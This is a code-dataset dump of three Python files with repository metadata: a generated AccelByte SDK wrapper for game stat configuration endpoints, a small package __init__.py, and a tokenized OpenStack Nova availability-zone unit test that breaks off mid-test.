# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template file: justice_py_sdk_codegen/__main__.py # pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint: disable=missing-function-docstring # pylint: disable=missing-function-docstring # pylint: disable=missing-module-docstring # pylint: disable=too-many-arguments # pylint: disable=too-many-branches # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-lines # pylint: disable=too-many-locals # pylint: disable=too-many-public-methods # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements # pylint: disable=unused-import from typing import Any, Dict, List, Optional, Tuple, Union from ....core import HeaderStr from ....core import get_namespace as get_services_namespace from ....core import run_request from ....core import run_request_async from ....core import same_doc_as from ..models import ErrorEntity from ..models import StatCreate from ..models import StatImportInfo from ..models import StatInfo from ..models import StatPagingSlicedResult from ..models import StatUpdate from ..operations.stat_configuration import CreateStat from ..operations.stat_configuration import CreateStat1 from ..operations.stat_configuration import DeleteStat from ..operations.stat_configuration import ExportStats from ..operations.stat_configuration import GetStat from ..operations.stat_configuration import GetStats from ..operations.stat_configuration import ImportStats from ..operations.stat_configuration import QueryStats from ..operations.stat_configuration import UpdateStat from ..models import StatCreateSetByEnum from ..models import StatInfoSetByEnum, StatInfoStatusEnum @same_doc_as(CreateStat) def create_stat(body: Optional[StatCreate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = CreateStat.create( body=body, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(CreateStat) async def create_stat_async(body: Optional[StatCreate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = CreateStat.create( body=body, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(CreateStat1) def create_stat_1(body: Optional[StatCreate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = CreateStat1.create( body=body, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(CreateStat1) async def create_stat_1_async(body: Optional[StatCreate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = CreateStat1.create( body=body, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(DeleteStat) def delete_stat(stat_code: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = DeleteStat.create( stat_code=stat_code, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(DeleteStat) async def delete_stat_async(stat_code: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = DeleteStat.create( stat_code=stat_code, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(ExportStats) def export_stats(namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = ExportStats.create( namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(ExportStats) async def export_stats_async(namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = ExportStats.create( namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(GetStat) def get_stat(stat_code: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = GetStat.create( stat_code=stat_code, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(GetStat) async def get_stat_async(stat_code: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = GetStat.create( stat_code=stat_code, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(GetStats) def get_stats(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = GetStats.create( limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(GetStats) async def get_stats_async(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = GetStats.create( limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(ImportStats) def import_stats(file: Optional[Any] = None, replace_existing: Optional[bool] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = ImportStats.create( file=file, replace_existing=replace_existing, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(ImportStats) async def import_stats_async(file: Optional[Any] = None, replace_existing: Optional[bool] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = ImportStats.create( file=file, replace_existing=replace_existing, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(QueryStats) def query_stats(keyword: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = QueryStats.create( keyword=keyword, limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(QueryStats) async def query_stats_async(keyword: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = QueryStats.create( keyword=keyword, limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(UpdateStat) def update_stat(stat_code: str, body: Optional[StatUpdate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = UpdateStat.create( stat_code=stat_code, body=body, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(UpdateStat) async def update_stat_async(stat_code: str, body: Optional[StatUpdate] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = UpdateStat.create( stat_code=stat_code, body=body, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)

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0.092564

0.121573

0.085816

0.057211

0.823864

0.772216

0.759767

0

0.00124

0.192241

10,981

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37.735395

0.850056

0.069757

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false

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0

null

0

1

0

1

0

null

0

8

e1f1e97858b823c06ab29d17dd2a2ca4c2749802

145

py

Python

loldib/getratings/models/NA/na_nasus/__init__.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_nasus/__init__.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_nasus/__init__.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from .na_nasus_top import * from .na_nasus_jng import * from .na_nasus_mid import * from .na_nasus_bot import * from .na_nasus_sup import *

24.166667

28

0.758621

25

145

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0

0.172414

145

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true

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null

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1

0

1

0

1

0

8

c00e64af299c4f688916fc8c963d41d7f23c5907

25,349

py

Python

nova/tests/unit/test_availability_zones.py

bopopescu/nova-token

ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2

[ "Apache-2.0" ]

null

nova/tests/unit/test_availability_zones.py

bopopescu/nova-token

ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2

[ "Apache-2.0" ]

null

nova/tests/unit/test_availability_zones.py

bopopescu/nova-token

ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2

[ "Apache-2.0" ]

2

2017-07-20T17:31:34.000Z

2020-07-24T02:42:19.000Z

begin_unit comment|'# Copyright 2013 Netease Corporation' nl|'\n' comment|'# All Rights Reserved.' nl|'\n' comment|'#' nl|'\n' comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' string|'"""\nTests for availability zones\n"""' newline|'\n' nl|'\n' name|'import' name|'mock' newline|'\n' name|'import' name|'six' newline|'\n' nl|'\n' name|'from' name|'nova' name|'import' name|'availability_zones' name|'as' name|'az' newline|'\n' name|'import' name|'nova' op|'.' name|'conf' newline|'\n' name|'from' name|'nova' name|'import' name|'context' newline|'\n' name|'from' name|'nova' name|'import' name|'db' newline|'\n' name|'from' name|'nova' name|'import' name|'objects' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' nl|'\n' DECL|variable|CONF name|'CONF' op|'=' name|'nova' op|'.' name|'conf' op|'.' name|'CONF' newline|'\n' nl|'\n' nl|'\n' DECL|class|AvailabilityZoneTestCases name|'class' name|'AvailabilityZoneTestCases' op|'(' name|'test' op|'.' name|'TestCase' op|')' op|':' newline|'\n' indent|' ' string|'"""Test case for aggregate based availability zone."""' newline|'\n' nl|'\n' DECL|member|setUp name|'def' name|'setUp' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'AvailabilityZoneTestCases' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'host' op|'=' string|"'me'" newline|'\n' name|'self' op|'.' name|'availability_zone' op|'=' string|"'nova-test'" newline|'\n' name|'self' op|'.' name|'default_az' op|'=' name|'CONF' op|'.' name|'default_availability_zone' newline|'\n' name|'self' op|'.' name|'default_in_az' op|'=' name|'CONF' op|'.' name|'internal_service_availability_zone' newline|'\n' name|'self' op|'.' name|'context' op|'=' name|'context' op|'.' name|'get_admin_context' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'agg' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'az_agg'" op|',' name|'self' op|'.' name|'availability_zone' op|')' newline|'\n' nl|'\n' DECL|member|tearDown dedent|'' name|'def' name|'tearDown' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'db' op|'.' name|'aggregate_delete' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'agg' op|'[' string|"'id'" op|']' op|')' newline|'\n' name|'super' op|'(' name|'AvailabilityZoneTestCases' op|',' name|'self' op|')' op|'.' name|'tearDown' op|'(' op|')' newline|'\n' nl|'\n' DECL|member|_create_az dedent|'' name|'def' name|'_create_az' op|'(' name|'self' op|',' name|'agg_name' op|',' name|'az_name' op|')' op|':' newline|'\n' indent|' ' name|'agg_meta' op|'=' op|'{' string|"'name'" op|':' name|'agg_name' op|'}' newline|'\n' name|'agg' op|'=' name|'db' op|'.' name|'aggregate_create' op|'(' name|'self' op|'.' name|'context' op|',' name|'agg_meta' op|')' newline|'\n' nl|'\n' name|'metadata' op|'=' op|'{' string|"'availability_zone'" op|':' name|'az_name' op|'}' newline|'\n' name|'db' op|'.' name|'aggregate_metadata_add' op|'(' name|'self' op|'.' name|'context' op|',' name|'agg' op|'[' string|"'id'" op|']' op|',' name|'metadata' op|')' newline|'\n' nl|'\n' name|'return' name|'agg' newline|'\n' nl|'\n' DECL|member|_update_az dedent|'' name|'def' name|'_update_az' op|'(' name|'self' op|',' name|'aggregate' op|',' name|'az_name' op|')' op|':' newline|'\n' indent|' ' name|'metadata' op|'=' op|'{' string|"'availability_zone'" op|':' name|'az_name' op|'}' newline|'\n' name|'db' op|'.' name|'aggregate_update' op|'(' name|'self' op|'.' name|'context' op|',' name|'aggregate' op|'[' string|"'id'" op|']' op|',' name|'metadata' op|')' newline|'\n' nl|'\n' DECL|member|_create_service_with_topic dedent|'' name|'def' name|'_create_service_with_topic' op|'(' name|'self' op|',' name|'topic' op|',' name|'host' op|',' name|'disabled' op|'=' name|'False' op|')' op|':' newline|'\n' indent|' ' name|'values' op|'=' op|'{' nl|'\n' string|"'binary'" op|':' string|"'bin'" op|',' nl|'\n' string|"'host'" op|':' name|'host' op|',' nl|'\n' string|"'topic'" op|':' name|'topic' op|',' nl|'\n' string|"'disabled'" op|':' name|'disabled' op|',' nl|'\n' op|'}' newline|'\n' name|'return' name|'db' op|'.' name|'service_create' op|'(' name|'self' op|'.' name|'context' op|',' name|'values' op|')' newline|'\n' nl|'\n' DECL|member|_destroy_service dedent|'' name|'def' name|'_destroy_service' op|'(' name|'self' op|',' name|'service' op|')' op|':' newline|'\n' indent|' ' name|'return' name|'db' op|'.' name|'service_destroy' op|'(' name|'self' op|'.' name|'context' op|',' name|'service' op|'[' string|"'id'" op|']' op|')' newline|'\n' nl|'\n' DECL|member|_add_to_aggregate dedent|'' name|'def' name|'_add_to_aggregate' op|'(' name|'self' op|',' name|'service' op|',' name|'aggregate' op|')' op|':' newline|'\n' indent|' ' name|'return' name|'db' op|'.' name|'aggregate_host_add' op|'(' name|'self' op|'.' name|'context' op|',' nl|'\n' name|'aggregate' op|'[' string|"'id'" op|']' op|',' name|'service' op|'[' string|"'host'" op|']' op|')' newline|'\n' nl|'\n' DECL|member|_delete_from_aggregate dedent|'' name|'def' name|'_delete_from_aggregate' op|'(' name|'self' op|',' name|'service' op|',' name|'aggregate' op|')' op|':' newline|'\n' indent|' ' name|'return' name|'db' op|'.' name|'aggregate_host_delete' op|'(' name|'self' op|'.' name|'context' op|',' nl|'\n' name|'aggregate' op|'[' string|"'id'" op|']' op|',' name|'service' op|'[' string|"'host'" op|']' op|')' newline|'\n' nl|'\n' DECL|member|test_rest_availability_zone_reset_cache dedent|'' name|'def' name|'test_rest_availability_zone_reset_cache' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'az' op|'.' name|'_get_cache' op|'(' op|')' op|'.' name|'add' op|'(' string|"'cache'" op|',' string|"'fake_value'" op|')' newline|'\n' name|'az' op|'.' name|'reset_cache' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'assertIsNone' op|'(' name|'az' op|'.' name|'_get_cache' op|'(' op|')' op|'.' name|'get' op|'(' string|"'cache'" op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_update_host_availability_zone_cache dedent|'' name|'def' name|'test_update_host_availability_zone_cache' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test availability zone cache could be update."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' nl|'\n' comment|'# Create a new aggregate with an AZ and add the host to the AZ' nl|'\n' name|'az_name' op|'=' string|"'az1'" newline|'\n' name|'cache_key' op|'=' name|'az' op|'.' name|'_make_cache_key' op|'(' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'agg_az1' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'agg-az1'" op|',' name|'az_name' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'agg_az1' op|')' newline|'\n' name|'az' op|'.' name|'update_host_availability_zone_cache' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'az1'" op|',' name|'az' op|'.' name|'_get_cache' op|'(' op|')' op|'.' name|'get' op|'(' name|'cache_key' op|')' op|')' newline|'\n' name|'az' op|'.' name|'update_host_availability_zone_cache' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|',' string|"'az2'" op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'az2'" op|',' name|'az' op|'.' name|'_get_cache' op|'(' op|')' op|'.' name|'get' op|'(' name|'cache_key' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_set_availability_zone_compute_service dedent|'' name|'def' name|'test_set_availability_zone_compute_service' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test for compute service get right availability zone."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'services' op|'=' name|'db' op|'.' name|'service_get_all' op|'(' name|'self' op|'.' name|'context' op|')' newline|'\n' nl|'\n' comment|'# The service is not add into aggregate, so confirm it is default' nl|'\n' comment|'# availability zone.' nl|'\n' name|'new_service' op|'=' name|'az' op|'.' name|'set_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' name|'services' op|')' op|'[' number|'0' op|']' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'default_az' op|',' name|'new_service' op|'[' string|"'availability_zone'" op|']' op|')' newline|'\n' nl|'\n' comment|'# The service is added into aggregate, confirm return the aggregate' nl|'\n' comment|'# availability zone.' nl|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' name|'new_service' op|'=' name|'az' op|'.' name|'set_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' name|'services' op|')' op|'[' number|'0' op|']' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'availability_zone' op|',' nl|'\n' name|'new_service' op|'[' string|"'availability_zone'" op|']' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'_destroy_service' op|'(' name|'service' op|')' newline|'\n' nl|'\n' DECL|member|test_set_availability_zone_unicode_key dedent|'' name|'def' name|'test_set_availability_zone_unicode_key' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test set availability zone cache key is unicode."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'network'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'services' op|'=' name|'db' op|'.' name|'service_get_all' op|'(' name|'self' op|'.' name|'context' op|')' newline|'\n' name|'az' op|'.' name|'set_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' name|'services' op|')' newline|'\n' name|'self' op|'.' name|'assertIsInstance' op|'(' name|'services' op|'[' number|'0' op|']' op|'[' string|"'host'" op|']' op|',' name|'six' op|'.' name|'text_type' op|')' newline|'\n' name|'cached_key' op|'=' name|'az' op|'.' name|'_make_cache_key' op|'(' name|'services' op|'[' number|'0' op|']' op|'[' string|"'host'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertIsInstance' op|'(' name|'cached_key' op|',' name|'str' op|')' newline|'\n' name|'self' op|'.' name|'_destroy_service' op|'(' name|'service' op|')' newline|'\n' nl|'\n' DECL|member|test_set_availability_zone_not_compute_service dedent|'' name|'def' name|'test_set_availability_zone_not_compute_service' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test not compute service get right availability zone."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'network'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'services' op|'=' name|'db' op|'.' name|'service_get_all' op|'(' name|'self' op|'.' name|'context' op|')' newline|'\n' name|'new_service' op|'=' name|'az' op|'.' name|'set_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' name|'services' op|')' op|'[' number|'0' op|']' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'default_in_az' op|',' name|'new_service' op|'[' string|"'availability_zone'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'_destroy_service' op|'(' name|'service' op|')' newline|'\n' nl|'\n' DECL|member|test_get_host_availability_zone dedent|'' name|'def' name|'test_get_host_availability_zone' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get right availability zone by given host."""' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'default_az' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' nl|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'availability_zone' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_update_host_availability_zone dedent|'' name|'def' name|'test_update_host_availability_zone' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test availability zone could be update by given host."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' nl|'\n' comment|'# Create a new aggregate with an AZ and add the host to the AZ' nl|'\n' name|'az_name' op|'=' string|"'az1'" newline|'\n' name|'agg_az1' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'agg-az1'" op|',' name|'az_name' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'agg_az1' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'az_name' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' comment|'# Update AZ' nl|'\n' name|'new_az_name' op|'=' string|"'az2'" newline|'\n' name|'self' op|'.' name|'_update_az' op|'(' name|'agg_az1' op|',' name|'new_az_name' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'new_az_name' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_delete_host_availability_zone dedent|'' name|'def' name|'test_delete_host_availability_zone' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test availability zone could be deleted successfully."""' newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'self' op|'.' name|'host' op|')' newline|'\n' nl|'\n' comment|'# Create a new aggregate with an AZ and add the host to the AZ' nl|'\n' name|'az_name' op|'=' string|"'az1'" newline|'\n' name|'agg_az1' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'agg-az1'" op|',' name|'az_name' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'agg_az1' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'az_name' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' comment|'# Delete the AZ via deleting the aggregate' nl|'\n' name|'self' op|'.' name|'_delete_from_aggregate' op|'(' name|'service' op|',' name|'agg_az1' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'default_az' op|',' nl|'\n' name|'az' op|'.' name|'get_host_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'host' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_get_availability_zones dedent|'' name|'def' name|'test_get_availability_zones' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get_availability_zones."""' newline|'\n' nl|'\n' comment|'# When the param get_only_available of get_availability_zones is set' nl|'\n' comment|'# to default False, it returns two lists, zones with at least one' nl|'\n' comment|'# enabled services, and zones with no enabled services,' nl|'\n' comment|'# when get_only_available is set to True, only return a list of zones' nl|'\n' comment|'# with at least one enabled services.' nl|'\n' comment|'# Use the following test data:' nl|'\n' comment|'#' nl|'\n' comment|'# zone host enabled' nl|'\n' comment|'# nova-test host1 Yes' nl|'\n' comment|'# nova-test host2 No' nl|'\n' comment|'# nova-test2 host3 Yes' nl|'\n' comment|'# nova-test3 host4 No' nl|'\n' comment|'# <default> host5 No' nl|'\n' nl|'\n' name|'agg2' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'agg-az2'" op|',' string|"'nova-test2'" op|')' newline|'\n' name|'agg3' op|'=' name|'self' op|'.' name|'_create_az' op|'(' string|"'agg-az3'" op|',' string|"'nova-test3'" op|')' newline|'\n' nl|'\n' name|'service1' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' string|"'host1'" op|',' nl|'\n' name|'disabled' op|'=' name|'False' op|')' newline|'\n' name|'service2' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' string|"'host2'" op|',' nl|'\n' name|'disabled' op|'=' name|'True' op|')' newline|'\n' name|'service3' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' string|"'host3'" op|',' nl|'\n' name|'disabled' op|'=' name|'False' op|')' newline|'\n' name|'service4' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' string|"'host4'" op|',' nl|'\n' name|'disabled' op|'=' name|'True' op|')' newline|'\n' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' string|"'host5'" op|',' nl|'\n' name|'disabled' op|'=' name|'True' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service1' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service2' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service3' op|',' name|'agg2' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service4' op|',' name|'agg3' op|')' newline|'\n' nl|'\n' name|'zones' op|',' name|'not_zones' op|'=' name|'az' op|'.' name|'get_availability_zones' op|'(' name|'self' op|'.' name|'context' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' op|'[' string|"'nova-test'" op|',' string|"'nova-test2'" op|']' op|',' name|'zones' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' op|'[' string|"'nova-test3'" op|',' string|"'nova'" op|']' op|',' name|'not_zones' op|')' newline|'\n' nl|'\n' name|'zones' op|'=' name|'az' op|'.' name|'get_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' name|'True' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' op|'[' string|"'nova-test'" op|',' string|"'nova-test2'" op|']' op|',' name|'zones' op|')' newline|'\n' nl|'\n' name|'zones' op|',' name|'not_zones' op|'=' name|'az' op|'.' name|'get_availability_zones' op|'(' name|'self' op|'.' name|'context' op|',' nl|'\n' name|'with_hosts' op|'=' name|'True' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertJsonEqual' op|'(' name|'zones' op|',' nl|'\n' op|'[' op|'(' string|"u'nova-test2'" op|',' name|'set' op|'(' op|'[' string|"u'host3'" op|']' op|')' op|')' op|',' nl|'\n' op|'(' string|"u'nova-test'" op|',' name|'set' op|'(' op|'[' string|"u'host1'" op|']' op|')' op|')' op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertJsonEqual' op|'(' name|'not_zones' op|',' nl|'\n' op|'[' op|'(' string|"u'nova-test3'" op|',' name|'set' op|'(' op|'[' string|"u'host4'" op|']' op|')' op|')' op|',' nl|'\n' op|'(' string|"u'nova'" op|',' name|'set' op|'(' op|'[' string|"u'host5'" op|']' op|')' op|')' op|']' op|')' newline|'\n' nl|'\n' DECL|member|test_get_instance_availability_zone_default_value dedent|'' name|'def' name|'test_get_instance_availability_zone_default_value' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get right availability zone by given an instance."""' newline|'\n' name|'fake_inst' op|'=' name|'objects' op|'.' name|'Instance' op|'(' name|'host' op|'=' name|'self' op|'.' name|'host' op|',' nl|'\n' name|'availability_zone' op|'=' name|'None' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'default_az' op|',' nl|'\n' name|'az' 